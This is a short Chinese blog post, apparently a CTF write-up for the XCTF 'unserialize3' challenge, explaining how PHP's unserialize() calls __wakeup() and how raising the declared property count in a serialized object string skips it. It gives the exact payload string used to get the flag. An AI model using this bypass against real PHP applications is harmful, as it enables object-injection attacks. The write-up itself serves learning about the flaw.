反序列化中__wakeup()函数漏洞
2019-04-02 本文已影响0人
gelinlang
__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。
在XCTF攻防世界的一道题unserialize3,源码如下。
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}//这里差个反括号,但是源码确实是这样的。
?code=
将上面的要求序列化后为O:4:"xctf":1:{s:4:"flag";s:3:"111";},xctf后有一个数字1,这个1是代表这个类有一个属性。__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
如,我们提交O:4:"xctf":2:{s:4:"flag";s:3:"111";},将其改为2,得到flag。
给一个在线序列化的网址。
https://www.w3cschool.cn/tryrun/showphp/demo_func_string_serialize